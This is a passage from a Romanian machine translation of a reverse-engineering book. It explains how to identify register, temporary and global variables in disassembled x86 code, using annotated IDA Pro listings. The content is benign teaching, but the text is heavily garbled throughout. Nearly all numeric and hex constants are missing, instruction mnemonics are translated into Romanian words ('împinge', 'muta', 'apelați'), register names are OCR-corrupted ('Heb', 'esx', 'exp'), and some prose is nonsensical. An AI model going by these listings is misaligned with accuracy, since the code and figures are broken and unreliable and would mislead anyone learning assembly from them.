(ceea ce se întâmplă destul de des), compilatorul poate pune variabila b în același registru x fără a-și face griji să salveze valoarea lui a Ca rezultat, o variabilă este „pierdută” La prima vedere, nu există probleme aici Pierdem - bine, bine! Teoretic, programatorul însuși ar putea face asta - se întreabă: de ce a introdus ь, când unul a este destul pentru muncă? Dacă variabilele a și b sunt de același tip, atunci chiar nu există probleme, altfel analiza programului va fi extrem de dificilă Capitolul Identificarea registrului și a variabilelor temporare Înregistrați variabile Să trecem la tehnica identificării variabilelor de registru Multe manuale ale hackerilor susțin că o variabilă de registru este diferită de altele prin faptul că nu accesează niciodată memoria Acest lucru nu este adevărat deoarece variabilele de registru pot fi salvate temporar pe stivă cu comanda push și restaurate înapoi cu comanda pop Desigur, formal o astfel de variabilă încetează să mai fie o variabilă de registru, dar în același timp nu devine nici o variabilă de stivă Pentru a nu împărți tipurile de variabile în mai multe clase, vom fi de acord că, așa cum afirmă alte manuale pentru hackeri, o variabilă de registru este o variabilă conținută într-un registru de uz general, eventual stocată pe stivă, dar întotdeauna în partea de sus și nu în cadrul stivei Cu alte cuvinte, variabilele de registru nu sunt niciodată adresate cu Heb Dacă variabila este adresată prin Heb, atunci este „înregistrată” în cadrul stivei și este o variabilă stivă Dreapta? Nu! Vedeți ce se întâmplă dacă variabilei de registru a i se atribuie o valoare variabilei de stivă b Compilatorul va genera ceva de genul acesta: regul meu, [ebp-xxx] În consecință, atribuirea unei valori de registru unei variabile de stivă va arăta astfel: moѵ [Heb-xxx], reg Dar, în ciuda referinței explicite la cadrul stivei, variabila reg este încă o variabilă de registru Luați în considerare codul din Lista - Lista Un exemplu care ilustrează diferențele dintre registru și sarcină MOV [EUR- x ], x MOV ESI, [EBP- x ] MOV [EBP- x ], ESI MOV ESI, x SUB ESI [EBP- x ] MOV [EBP-OxC], ESI Exemplul din Lista - poate fi interpretat în două moduri Dacă într-adevăr există o variabilă de registru esi, atunci sursa exemplu ar trebui să arate ca Lista - (a) Cu toate acestea, este, de asemenea, posibil ca registrul esi să fie folosit ca o variabilă temporară pentru transferul de date, caz în care exemplul de cod sursă ar trebui să arate ca Lista - (b) Lista Opțiuni pentru restaurarea codului sursă al unui fragment de program dat // a) Registrul ESI este utilizat ca // înregistrează variabila int var = x ; int var =var ; // b) Registrul ESI este utilizat ca // variabilă temporară int var = x ; register intESI = var ; În limbajele C/C++, există un registru de cuvinte cheie, menit să forțeze plasarea variabilelor în registre Și totul ar fi bine, dar marea majoritate a compilatorilor ignoră în liniște instrucțiunile programatorilor, plasând variabile acolo unde, în opinia ale compilatorului, acestea vor fi „conveniente” Dezvoltatorii compilatorului explică acest lucru spunând că compilatorul „știe” mai bine cum să construiască cel mai eficient cod După cum se spune, nu este nevoie să încercați să ajutați compilatorul Următoarea analogie sugerează de la sine: pasagerul spune - trebuie să merg la aeroport, iar șoferul de taxi merge „unde mai convenabil” fără obiecție Ei bine, lucrul cu compilatorul nu ar trebui să se transforme într-un război cu acesta, nu ar trebui Refuzul de a aloca o variabilă într-un registru este perfect legal Cu toate acestea, într-un astfel de caz, compilatorul trebuie să oprească compilarea cu un mesaj de eroare care vă spune să eliminați registrul sau cel puțin să emită un avertisment Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt int var C= x - var I int var =ESI; ESI= x -var ; int var C = ESI Deși algoritmii ambelor listări sunt absolut identici, opțiunea (a) câștigă vizibil în vizibilitate În același timp, trebuie amintit că scopul principal al dezasamblarii nu este în niciun caz reproducerea codului sursă original al programului, ci reconstruirea algoritmului acestuia Nu contează deloc dacă esi este o variabilă de registru sau o variabilă temporară Principalul lucru este să restabiliți algoritmul de lucru Aceasta înseamnă că dintre mai multe opțiuni de interpretare, ar trebui să o alegeți pe cea mai evidentă! Acest lucru ne aduce la conceptul de variabile temporare, dar înainte de a intra în el în profunzime, să încheiem studiul nostru asupra variabilelor de registru examinând exemplul din Lista - Lista Exemplu care demonstrează identificarea variabilelor de registru * principal() ( int a= x ; intb= x ; int C; c=a+b; printf("%x + %x = %x\n",a,b, c) ; c=ba; printf("%x - %x = %x\n",a,b,c); } Compilarea acestui exemplu cu compilatorul Borland C++ x ar trebui să arate ceva ca Listing = Lista Rezultatul compilării exemplului din Listarea K cu Compilatorul Borland C++ x ; int cdecl main(int argc,const char **argv,const char *envp) jnain proc aproape ; DATE XREF: DATE: -Lo argc = dword ptr argv = dword ptr OCh envp = dword ptr lOh ; Vă rugăm să rețineți că IDA nu a recunoscut nicio variabilă de stivă, ; deşi au fost anunţate în program ; Se pare că compilatorul le-a plasat în registre împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ebx împinge esi ; Salvați registrele pe stivă sau alocați memorie pentru stivă ; variabile? Din moment ce IDA nu a găsit nicio stivă ; variabilă, cel mai probabil, acest cod păstrează registre mov ebx, h ; Vezi: inițializarea registrului! Comparați acest lucru cu Lista , Capitolul Identificarea registrului și a variabilelor temporare ; Vezi Capitolul , „Identificarea stivelor locale” ; variabile" Amintiți-vă, a existat: mov [ebp+var ], h ; Prin urmare, se poate bănui că EBX este un registru ; variabil Existenţa unei variabile dovedeşte faptul că dacă ; valoarea x ar fi transmisă direct funcției, adică astfel − ; printf("%x %x %x\n", x ), compilatorul ar fi plasat în cod ; instrucțiunea „PUSH x ” Și dacă nu este cazul, atunci sensul ; x a fost trecut printr-o variabilă ; Reconstituind testul original, scriem: ; int a= x muta esi, h ; În mod similar, ESI este cel mai probabil un registru ; variabil ; int b= x lea eax, [esi+ebx] ; Încărcăm suma ESI și EBX în EAX ; Nu, EAX nu este un indicator, este doar o adăugare complicată împinge max ; Trecem suma variabilelor de registru ESI și EBX la funcția printf ; Dar ceea ce este EAX este deja interesant Se poate și imagina ; variabilă independentă și transfer direct al sumei ; variabilele a și b ale funcției printf Pe baza unor considerente ; lizibilitate, alegeți ultima opțiune ; printf(,,,,a+b) împinge esi ; Transmitem variabila de registru ESI la funcția printf, mai devreme ; desemnat de noi drept „b” ; printf(,,,b,a+b) împinge ebx ; Transmitem variabila de registru EBX la funcția printf, mai devreme ; marcat ca „a” ; printf(,,а,b,a+b) push offset aXXX ; „%x + %x = %x” ; Trecem un pointer către șirul de specificatori la funcția printf, judecând după ; unde toate cele trei variabile sunt de tip int ; printf("%x + %x = %x", a, b, a + b) apelați printf adauga esp, Oh mov eax, esi ; Copiați în EAX valoarea variabilei de registru ESI, notat ; USB' ; int c=b sub eax, ebx ; Scădeți din variabila de registru EAX ('c') ; valoarea variabilei EVX ('a')- Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; s=s-a împinge max ; Trecem diferența dintre valorile variabilelor EAX și EBX la funcția printf ; Aha! Vedem că variabila „c” poate fi abandonată, ; n prin trecerea directă a funcției printf a diferenței dintre valorile „b” și ; 'A' Tăiați linia „ ” (făcând un rollback) ; iar în loc de ' ' scriem următoarele: ; printf(,,,,b-a) împinge esi ; Transmitem valoarea variabilei de registru ESI ('b') la funcţia printf ; printf-a) împinge ebx ; Transmitem valoarea variabilei de registru EBX ('a') la funcţia printf ; printf(,,a, b, b-a) push offset aXXX ; „%x + %x = %x” ; Trecem un pointer către șirul de specificatori la funcția printf, judecând după ; unde toate cele trei argumente sunt de tip int ; printf("%x + %x = %x", a, b, b-a) apelați printf adauga esp, Oh xor eax, eax ; Returnăm valoarea zero în EAX ; întoarce Oh pop esi pop ebx ; Restaurarea registrelor pop ebp ; Închideți cadrul stivei retn ; Drept urmare, textul reconstruit arată astfel: ; int a= xbbb ; int b= x ; printf("%x + %x = %x", a, b, a + b) ; printf("%x + %x = %x", a, b, b - a) ; Comparând rezultatul cu textul sursă original, cu ; cu o oarecare supărare, descoperim că, până la urmă, ne-am înșelat ușor, ; aruncând variabila „c” Cu toate acestea, această greșeală nu ne-a stricat ; munca, dimpotrivă, a dat listei un aspect mai „pieptănat”, ; făcându-l mai ușor de înțeles Cu toate acestea, nu există nicio dispută cu privire la gusturi, și dacă tu ; dacă vrei să urmezi mai precis codul de asamblare, ei bine, voința ta este ; introduceți și variabila „c” Apropo, această soluție ; are avantajul că nu trebuie să faci un „rollback” - rescrie deja ; șiruri reconstruite pentru a elimina variabila lor redundantă principal endp Capitolul Identificarea registrului și a variabilelor temporare Variabile temporare Vom numi variabile temporare variabile locale introduse în codul programului de către compilator însuși Pentru ce sunt necesare? Luați în considerare următorul exemplu: int b=a Dacă a și b sunt variabile de stivă, atunci atribuirea directă nu este posibilă deoarece microprocesoarele x nu au adresare memorie-la-memorie Deci, trebuie să efectuați această operație în două etape: „memory -\u e register” + „register -” memory De fapt, compilatorul generează codul prezentat în Lista - Lista Cod generat de compilator atunci când lucrează cu variabile temporare register int tmp=a; mov eax, [ebp+var ] int b=tnip, mov [ebp+var ] , eax În Lista - , tmp este o variabilă temporară, creată numai pentru durata operației b=a și apoi distrusă ca fiind inutilă Compilatorii (în special cei de optimizare) tind întotdeauna să aloce variabile temporare în registre și doar în cazuri extreme le împing în stivă Mecanismele de alocare a memoriei și modalitățile de citire/scriere a variabilelor temporare sunt destul de diverse Salvarea variabilelor pe stivă este o reacție comună a compilatorului la o lipsă acută de registre Variabilele întregi sunt cel mai adesea aruncate în partea de sus a stivei cu comanda push și trase de acolo cu comanda pop Întâlnind în textul programului o combinație a instrucțiunii push asociată cu pop-ul corespunzător, care salvează conținutul registrului inițializat, dar nu și argumentul de stivă al funcției*; putem spune cu încredere că avem de-a face cu o variabilă temporară întreagă Alocarea memoriei pentru variabilele reale și inițializarea lor în cele mai multe cazuri au loc separat Motivul este că nu există nicio instrucțiune care să vă permită să transferați numere din partea de sus a stivei de coprocesor în partea de sus a stivei de procesor principal, iar această operație trebuie făcută manual În primul rând, indicatorul-registru din partea de sus a stivei este „ridicat” (de obicei folosind comanda sub esp, xxx), apoi o valoare reală este scrisă în celulele de memorie alocate (de obicei fstp [esp] ) Când o variabilă temporară nu mai este necesară, aceasta este eliminată din stivă cu comanda add esp, xxx sau similară (sub, esp, - xxx) Compilatoarele avansate (cum ar fi Microsoft Visual C-t+) pot plasa variabile temporare în argumentele rămase în partea de sus a stivei după finalizarea ultimei funcții apelate Desigur, acest truc se aplică numai funcțiilor cdecl-, dar nu și stdcall-funcțiilor, deoarece acestea din urmă își șterg argumentele din stack Am întâlnit deja această tehnică când am explorat modul în care o funcție returnează o valoare în Capitolul , „Identificarea valorii de returnare a unei funcții” Variabilele temporare mai mari de opt octeți (șiruri, matrice, structuri, obiecte) sunt aproape întotdeauna plasate pe stivă, distingându-se vizibil de alte tipuri prin mecanismul lor de inițializare - în locul tradiționalului mov, aici este folosită una dintre comenzile de transfer în buclă movsx , dacă este necesar, precedat de prefixul rep ( Microsoft Visual C++, Borland C++) sau mai multe comenzi movsx urmând unul după altul (Watcom C) Mecanismul de alocare a memoriei pentru variabilele temporare este aproape identic cu mecanismul de alocare a memoriei pentru variabilele locale ale stivei, dar nu există probleme de identificare În primul rând, alocarea memoriei stivei de variabile are loc imediat după Pentru mai multe informații despre acest subiect, consultați Capitolul , „Identificarea argumentelor funcției” Pentru mai multe informații despre acest subiect, consultați Capitolul , Identificarea argumentelor funcției Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt deschiderea cadrului stivei și variabile temporare - în orice punct al funcției În al doilea rând, variabilele temporare nu sunt adresate prin registrul indicatorului de cadru stivei, ci prin indicatorul din partea superioară a stivei Principalele mecanisme de manipulare a variabilelor temporare sunt rezumate pe scurt în Tabelul Tabelul Mecanisme de bază pentru manipularea variabilelor temporare Metode de acțiune Rezervare memorie PUSH SUB ESP, xxx Utilizați argumente de stivă Eliberarea memoriei POP ADD ESP, xxx Scrieți variabila PUSH MOV [ESP+xxx], MOVS Citiți variabila POP MOV [ESP+xxx] Treceți la funcția apelată Când compilatorul creează variabile temporare? De fapt, depinde de „temperatul” compilatorului în sine Cu toate acestea, există cel puțin două cazuri în care pur și simplu nu puteți face fără a crea variabile temporare: În timpul operațiilor de atribuire, adunare, înmulțire În cazurile în care argumentul funcției sau membrul expresiei este o altă funcție Să luăm în considerare ambele cazuri mai detaliat Crearea de variabile temporare la transferul de date și evaluarea expresiilor După cum sa menționat mai devreme, microprocesoarele din seria x nu acceptă transferul direct de date din memorie în memorie, așa că alocarea unei variabile la alta necesită introducerea unei variabile de registru temporare (presupunând că celelalte variabile nu sunt variabile de registru) Evaluarea expresiilor (în special a celor complexe) necesită și variabile temporare pentru stocarea rezultatelor intermediare De exemplu, câte variabile temporare sunt necesare pentru a evalua următoarea expresie (lista - )? int a= xl; int b= x ; int c= /(( a) / ( -b)); Să începem cu paranteze, rescriindu-le astfel: int tmp d = ,- tmp d=tmp d-a; Și int tmp e=l; tmp e=tmp e-b; apoi: int tmp t = tmp d ! tmp e; Și în final, tmp j=l; c=tmp j / tmp f În total, numărăm patru variabile temporare Nu este prea mult? Să încercăm să o scriem mai scurt (Listing - ) : Lista Minimizarea numărului de variabile temporare int tmp d = ;tmp d=tmp d-a; int tmp e=l; tmp e=tmp e-b; tmp d= tmp d/tmp e; tmp e=l; tmp e=tmp e/tmp d; Doar în cdecl! Capitolul Identificarea registrului și a variabilelor temporare După cum puteți vedea, este foarte posibil să vă descurcați cu doar două variabile temporare - o chestiune complet diferită! Dacă expresia ar fi puțin mai complicată? Să presupunem că au fost zece perechi de paranteze în loc de trei, de câte variabile temporare ar fi necesare atunci? Nu, nu fi tentat să te uiți înapoi la răspuns – încearcă să-l numeri singur! Numărat deja? Dar ce trebuie luat în considerare - indiferent cât de complexă ar fi expresia - doar două variabile temporare sunt suficiente pentru a o calcula Și dacă deschideți paranteze, atunci vă puteți limita la unul, totuși, acest lucru va necesita calcule inutile Ne vom uita la asta în detaliu în Capitolul , „Identificarea operatorilor matematici”, iar acum să vedem ce cod a generat compilatorul (Listarea - ) ; Lista Cod generat de compilator pentru exemplul din Lista ' mov[ebp+var ], mov[ebp+var ] , mov [ebp+var C], ; Inițializarea variabilelor locale mutare eax, ; Iată prima variabilă temporară ; I se scrie o valoare imediată, deoarece comanda SUB, ; datorită caracteristicilor arhitecturale ale microprocesoarelor din seria x , întotdeauna ; scrie rezultatul calculului în locul celui redus și deci ; minuendumul nu poate fi o valoare imediată, așa că trebuie ; introduceți o variabilă temporară sub eax, [ebp+var ] ; tEAX := - var ; valoarea calculată ( -a) este acum stocată în registrul EAX muta ex, ; Este introdusă o altă variabilă temporară, deoarece EAX nu poate fi atins - ; El este ocupat sub ex, [ebp+var ] ; tECX := var ; Registrul ECX stochează acum valoarea calculată ( -b) cdq ; Să transformăm cuvântul dublu din EAX într-un cuvânt patru, ; plasat în EDX:EAX ; (Instrucțiunea mașinii idiv se așteaptă întotdeauna să vadă dividendul în aceste registre) idiv exp ; Împărțiți ( -a) la ( -b), plasând câtul în tEAX ; Valoarea anterioară a variabilei temporare este inevitabil suprascrisă, ; cu toate acestea, nu este necesar pentru calcule ulterioare ; Deci, lăsați-vă suprascris - nu contează mov ex, eax ; Copiați valoarea (Ia) / ( -b) în registrul ECX ; De fapt, aceasta este o nouă variabilă temporară t ECX, dar în aceeași ; înregistrare (nu mai avem nevoie și de vechiul conținut al ECX) ; Indicele „ ” după prefixul „t” este dat pentru a arăta că D ESX ; nu este deloc la fel cu tECX, deși ambele variabile temporare ; stocate într-un singur registru Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt mutare eax, ; Introducem valoarea directă în EAX ; Aceasta este o altă variabilă temporară - D EAX cdq ; Resetați EDX idiv exp ; Împărțiți la (( -a) / ( -b)) ; Coeficientul este plasat în EAX mov[ebp+var ], eax ; c := / (( -a) / ( -b)) ; Deci, pentru a calcula această expresie, a fost nevoie de patru timp ; variabile și doar două registre de uz general Crearea de variabile temporare pentru a stoca valoarea returnată de o funcție și rezultatele evaluării expresiilor Majoritatea limbajelor de nivel înalt (inclusiv C/C+i) permit înlocuirea funcției și a expresiilor ca argumente directe De exemplu: myfunc(a+b, myfunc (c)) Înainte de a apela myfunc, compilatorul trebuie să evalueze expresia a+b Acest lucru este ușor, dar apare întrebarea - unde să scrieți rezultatul adăugării? Să vedem cum se ocupă compilatorul de acest lucru (Listarea - ) Lista Crearea de variabile temporare pentru stocarea rezultatelor intermediare și a valorilor returnate de funcții mov eax, [ebp+var C] ; Este creată o variabilă temporară tEAX și valoarea este copiată în ea ; variabila locală var C împinge max ; Variabila temporară tEAX este stocată pe stivă prin trecerea funcției myfunc ; ca argument, valoarea variabilei locale var C ; Deși variabila locală var C ar putea fi în principiu ; transmis direct la funcție - PUSH [ebp+var ] ; și nu sunt necesare variabile temporare sunați myfunc adăugați esp, ; Funcția myfunc își returnează valoarea în registrul EAX ; Poate fi gândit ca un fel de altă variabilă temporară împinge max ; Trecem la funcția myfunc rezultatul returnat de funcția myfunc mov ex, [ebp+var J ; Copiați în ECX valoarea variabilei locale var ; ECX este o altă variabilă temporară ; Adevărat, nu este complet clar de ce compilatorul nu a folosit registrul EAX, ; deoarece variabila temporară anterioară a ieșit din domeniul de aplicare și, ; prin urmare, registrul EAX ocupat de acesta a fost eliberat adăuga esx, [ebp+var ] Capitolul Identificarea registrului și a variabilelor temporare ; ECX :- var + var împinge ex ; Trecem suma a două variabile locale la funcția myfunc sunați jnyfunc Domeniul de aplicare al variabilelor temporare Variabilele temporare sunt, într-un fel, variabile foarte locale Domeniul lor de aplicare în cele mai multe cazuri este limitat la câteva linii de cod, în afara cărora variabila temporară nu are sens În general, o variabilă temporară nu are deloc sens și doar aglomera codul Într-adevăr, myfunc (a+b) este mult mai scurt și mai clar decât int tmp=a+b; myfunc(tmp) Prin urmare, pentru a nu înfunda lista dezasamblatorului, încercați să nu utilizați variabile temporare în comentarii, înlocuindu-le în schimb valorile reale Este rezonabil să precedăm variabilele temporare în sine cu un prefix caracteristic (de exemplu, așa cum se face în Lista ) Lista Un exemplu de utilizare a variabilelor temporare în comentarii EAX-ul meu, [EBP+var ; // var := var ; l tEAX := var ADAUGĂ EAX, [EBP+var ], ; l tEAX +- var PUSH EAX ; // MyFunc(var +var ) Apelați MyFunc Capitolul Identificarea variabilelor globale Un program plin cu variabile globale nu este cel mai rău blestem al hackerilor În loc să formeze un arbore ierarhic strict, componentele programului sunt strâns împletite între ele și, pentru a înțelege algoritmul unuia dintre ele, trebuie să „pieptăneze” întreaga listă în căutarea referințelor încrucișate Și nici un singur dezasamblator nu poate restaura perfect referințele încrucișate - chiar și IDA Pro! Este foarte ușor să identifici variabilele globale, mult mai ușor decât toate celelalte constructe ale limbajului de nivel înalt Variabilele globale impersonează imediat adresarea directă a memoriei, adică accesul la ele arată cam așa: my eax, [ ], unde x este adresa variabilei globale Este mai dificil de înțeles de ce această variabilă este de fapt necesară și care este conținutul ei în acest moment Spre deosebire de variabilele locale, variabilele globale sunt sensibile la context Într-adevăr, fiecare variabilă locală este inițializată de „propria sa” funcție și nu depinde de ce funcții au fost apelate înaintea ei Dimpotrivă, variabilele globale pot fi modificate de oricine și în orice moment, deoarece valoarea unei variabile globale într-un punct arbitrar din program nu este definită Pentru a afla, este necesar să analizați toate funcțiile care manipulează cu acesta Mai mult, va fi necesară și restabilirea ordinii apelului lor Deci, să ne ocupăm de tehnica restabilirii referințelor încrucișate Tehnica de recuperare a referințelor încrucișate În cele mai multe cazuri, analizorul automat IDA Pro face o treabă excelentă de restaurare a referințelor încrucișate și aproape niciodată nu trebuie să o faci „manual” Cu toate acestea, se întâmplă ca IDA Pro să greșească și nu întotdeauna (și nu pentru toată lumea!) Acest dezasamblator este la îndemână Prin urmare, va fi foarte util să învățați cum să faceți față în mod independent cu identificarea variabilelor globale Urmărirea referințelor la variabile globale prin căutarea contextuală a offset-ului lor în segmentul de cod [date] Adresarea directă a variabilelor globale facilitează găsirea instrucțiunilor mașinii care le manipulează Luați în considerare, de exemplu, următoarea construcție: my eax, [ x B ] După asamblare, va arăta astfel: ai B Deplasarea variabilei globale este scrisă „ca atare” (desigur, în ordine inversă a octetilor - cele mai vechi sunt situate la adresa superioară, iar cele inferioare - la cea de jos) O căutare trivială în context va dezvălui toate accesele la variabila globală care vă interesează, trebuie doar să aflați offset-ul și să o rescrieți în ordine inversă a octetilor În acest caz, împreună cu informații utile, veți primi o cantitate de gunoi La urma urmei, nu orice număr care are aceeași valoare ca offset-ul unei variabile globale Capitolul Identificarea variabilelor globale trebuie să fie un pointer către această variabilă De exemplu, secvența tocmai menționată B satisface, de exemplu, următorul context (Listing ) Scrierea Un exemplu care ilustrează colectarea gunoiului într-un context banal - căutarea referințe la o variabilă globală EC sub esp, B mov esx, Eroarea este evidentă - valoarea dorită nu este un operand al instrucțiunii, în plus, a „capturat” două instrucțiuni deodată! Renunțând la toate aparițiile care depășesc limitele instrucțiunii, scăpăm imediat de o parte semnificativă a „gunoaielor” Singura problemă este cum să definești limitele instrucțiunilor - nu se poate spune nimic despre partea de instrucțiuni despre instrucțiunea în sine De exemplu, întâlnim următoarea combinație: D ve oo Această secvență, minus ultimul zero, poate fi interpretată astfel: lea eax, [exx + x B ] Totuși, dacă presupunem că x D aparține „cozii” comenzii anterioare, atunci obținem următoarele: add d, [ex] [edi] * , De asemenea, este posibil ca aici să fie mai multe echipe și în general Cea mai fiabilă modalitate de a determina limitele instrucțiunilor mașinii este dezasamblarea urmărită Din păcate, aceasta este o operațiune extrem de intensivă în resurse și nu orice dezasamblator poate urmări codul Deci trebuie sa mergem pe alta cale Figurat vorbind, codul mașinii poate fi reprezentat ca text tipărit fără spații Dacă încercăm să citim dintr-o poziție arbitrară, cel mai probabil vom cădea în mijlocul unui cuvânt și nu vom înțelege nimic Poate că, întâmplător, primele câteva silabe vor forma un cuvânt cu sens (sau chiar două!), dar apoi va fi o prostie De exemplu: mama-cadru Da, moms este pluralul mamei, nu? Se potrivește Următorul - laram laramu - cine este acesta? Erou popular indian cu mulți părinți? Sau mamas la Ramu? Și cum îți place Mamy la Ra mu - în sensul trei mamas la, Ra și mu? Niște prostii Mutăm o literă înainte, lăsând m la cuvântul anterior, ei bine, este foarte posibil ca aceasta să fie uniunea a, mai ales că este urmată de un pronume cu sens noi, se pare - și suntem Laramu sau A suntem lara Mu La urma urmei, cine este acest Laramu?! Mai mutăm o literă și citim săpunul, iar după ea - rama " A funcționat! Cine spală ramele cu noi? De regulă, aceasta este mama mea! Aici, codul mașinii este citit aproximativ așa, iar o astfel de analogie este foarte completă De exemplu, în rusă un cuvânt nu poate începe cu unele litere (de exemplu, cu „Y”, un semn moale și dur), există sufixe și terminații caracteristice, cu o combinație de litere care practic nu se găsesc în alte părți ale propoziție În consecință, văzând mai multe zerouri consecutive la sfârșit, se poate argumenta cu un grad ridicat de încredere că aceasta este o valoare imediată, iar valorile imediate sunt situate la sfârșitul comenzii Diferențele dintre constante și pointeri Deci, continuăm să aruncăm gunoiul în continuare În cele din urmă, am scăpat de fals pozitive, a căror lipsă de sens este evidentă la prima vedere Mormanul de gunoi s-a micșorat considerabil, dar mai sunt lucruri precum push x în el Ce este x - o constantă sau un offset? Cu succes egal pot fi ambele Până când ajungem la codul care îl manipulează, nu vom putea spune nimic inteligibil Dacă codul de manipulare accesează x prin valoare, este o constantă, iar dacă prin referință, este un pointer (în acest context, un offset) Vom discuta această problemă mai detaliat în Capitolul , „Identificarea constantelor și decalajelor”, dar pentru moment, este o ușurare să rețineți că adresa minimă de încărcare a fișierelor în Windows x este x și nu există atât de multe constante care poate fi exprimat într-un număr atât de mare Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Notă Adresa minimă de pornire în sistemele din familia Windows NT este x , totuși, pentru ca programul să funcționeze cu succes atât în Windows NT, cât și în Windows x, trebuie să fie încărcat cel puțin x Coșmaruri ale modului pe biți Distingerea unei constante de un pointer nu este la fel de ușoară în modul pe biți precum este în modul pe de biți! În modul pe biți, subiecților li se alocă unul (sau mai multe) segmente cu dimensiunea de de octeți, iar decalajele valide sunt conținute într-un interval îngust [ x , Oxffff], iar pentru majoritatea variabilelor, decalajele sunt foarte mici și nu se pot distinge vizual de constante O altă problemă este că un segment de cele mai multe ori nu conține toate datele și trebuie să începeți altul (sau chiar mai multe) Două segmente nu sunt nimic: unul este adresat prin registrul ds, celălalt prin ES și nu există nicio dificultate în a determina la ce variabilă de segment se referă acest pointer De exemplu, dacă suntem interesați de toate apelurile către variabila globală x, situată în segmentul principal la offset Oxbbb, atunci vom arunca imediat comanda my ax, ES: [Oxbbb] în coșul de gunoi, deoarece segmentul principal este adresat prin ds (în mod implicit) și aici - ES Adevărat, conversia poate avea loc și în două etape, de exemplu: moѵ in, хbbb/ххх—ххх/моѵ ax, eS:[bx] În acest caz, după ce am văzut în, Ohbbb, nu numai că nu putem determina segmentul, dar chiar spunem cu siguranță dacă acesta este o compensare? Cu toate acestea, acest lucru nu complică foarte mult analiza Mai rău, dacă există o duzină bună de segmente de date în program (ce, poate fi necesar aproximativ KB de memorie statică?) Niciun registru de segment nu va fi suficient pentru aceasta, iar realocarea lor va avea loc de multe ori Apoi, pentru a afla exact ce segment este accesat, va fi necesar să se determine valoarea registrului de segment Și cum să-l definești? Cel mai simplu este să defilezi puțin în sus ecranul dezasamblatorului, căutând cu ochii inițializarea acestui registru de segment și amintindu-ți că se poate face nu numai cu comanda mea segREG, reg, ci destul de des pop! De exemplu, push es/pop ds este echivalent cu my ds, es - cu toate acestea, comenzile my segREG, segREG în „limbajul” microprocesoarelor x , din păcate, nu sunt La fel și comanda my segREG, const, care trebuie emulată manual sau așa: my ah, Ohbbb / my es ah, sau așa: push x /pop es Este bine că modul pe biți este aproape în întregime un lucru din trecut, ducând toate problemele sale în nisipul istoriei Nu numai programatorii, ci și hackerii care trec la modul pe de biți răsuflă uşuraţi Adresarea indirectă a variabilelor globale Destul de des se aude afirmația că variabilele globale sunt întotdeauna abordate direct (excluzând, desigur, inserțiile de asamblare - în asamblator, un programator poate accesa variabile după cum dorește) De fapt, totul este departe de a fi așa Dacă o variabilă globală este transmisă unei funcții prin referință (de ce nu ar trebui un programator să treacă o variabilă globală prin referință?), atunci aceasta va fi adresată indirect - printr-un pointer Se poate obiecta la acest lucru - de ce chiar trece explicit o variabilă globală unei funcții? Orice funcție o poate apela fără ea Da, chiar se poate, dar numai dacă funcția știe despre asta în prealabil Aici, să spunem, avem o funcție xchg care își schimbă argumentele și există două variabile globale pe care dorim cu disperare să le schimbăm Funcția xchg are acces la toate variabilele globale, dar „nu știe” care dintre ele trebuie schimbate (și este necesar deloc?) Deci ea trebuie să treacă în mod explicit variabilele globale ca argumente Și asta înseamnă că nu vom găsi toate accesele la variabilele globale printr-o simplă căutare în context Cel mai trist lucru este că nici IDA Pro nu le găsește (acest lucru ar necesita un emulator de procesor cu drepturi depline, sau cel puțin comenzile sale de bază) Să ilustrăm acest lucru cu exemplul prezentat în Lista Capitolul Identificarea variabilelor globale Lista Transmiterea explicită a variabilelor globale #include int a; intb; // Variabilele globale a și b // O funcție care schimbă valorile argumentelor xchg(int *a, int *b) int c; c=*a; *b=*a; *b=c; // aaaaaaa^aaaaaaaaa trimitere indirectă la argumente // prin indicator // Dacă argumentele funcției sunt variabile globale, acestea vor fi // adresat nu direct, ci indirect a= x ; b= x ; // Aici - acces direct // la variabile globale xchg(&a, &b); // Trecerea unei variabile globale prin referință Compilarea acestui exemplu cu compilatorul Microsoft Visual C++ ar trebui să arate ca Lista - Lista Rezultatul compilării exemplului din Lista - cu compilatorul : Microsoft Visual C++ proc principal lângă ; C DE XREF: start+AF^p împinge ebp mov ebp, esp ; Deschiderea cadrului stivei mov dword , h ; Inițializam variabila globală dword ; Că aceasta este într-adevăr o variabilă globală este indicat de ; adresare directă mov dword C, h ; Inițializam variabila globală dword C push offset dword C ; Vezi Transmiterea unui offset de variabilă globală unei funcții ; dword C ca argument (adică, cu alte cuvinte, îl trecem ; legătură) Aceasta înseamnă că funcția apelată va apela ; variabilă indirect, printr-un pointer - exact așa cum este accesat ; cu variabile locale push offset dword ; Trecem decalajul variabilei globale dword funcției sunați xchg Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt adăugați esp, pop ebp retn Mai n endp xchg proc lângă ; COD XREF: principal+ ip var = dword ptr - arg = dword ptr arg = dword ptr OCh împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ecx ; Alocam memorie pentru variabila locala var mov eax, [ebp+arg ] ; Încărcăm și EAX conținutul argumentului arg muta ex, [eax] ; Uite! Acces indirect la o variabilă globală* ; Și ei spun - de parcă astfel de lucruri nu s-ar întâmpla " ; Desigur, pentru a stabili că recursul are loc tocmai la ; variabilă globală (și ce variabilă globală) puteți ; numai prin analiza codului functiei de apelare mov [ebp+var- ], esx ; Copiați valoarea *arg în variabila locală var mov edx, [ebp+arg ] ; Încărcăm conținutul argumentului arg în EDX mov eax, [ebp+arg ] ; Încărcăm conținutul argumentului arg în EAX muta ex, [eax] ; Copiați valoarea argumentului *arg în ECX mov[edx], esx ; Copiați în [arg ] valoarea lui arg [ ] mov edx, [ebp+arg ] ; Încărcăm valoarea lui arg în EDX mov eax, [ebp+var ] ; Încărcați în EAX valoarea variabilei locale var (stocuri *arg ) mov[edx], eax ; Încărcați *arg în *arg mov esp, ebp pop ebp retn Capitolul Identificarea variabilelor globale xchg endp dword dd O dword C ddO ; DATE XREF: main+ Îw main+lcîo DATE XREF: main+DÎw main+ Îo IDA a găsit toate referințele la ambele variabile globale Primele două: main+ w și main+Dw pentru codul de inițializare ('w' - de la "scriere" - adică pentru a accesa la scriere) Al doilea doi: principal+lCo și principal+ o ('o' - de la "offset" - adică obținerea offset-ului unei variabile globale) Dacă printre referințele încrucișate la o variabilă globală există legături cu sufixul o, care denotă luarea unui offset (analog cu offset-ul directivei de asamblare), atunci ar trebui să fii imediat alert La urma urmei, din moment ce avem de-a face cu offset, înseamnă că există un transfer al unei variabile globale prin 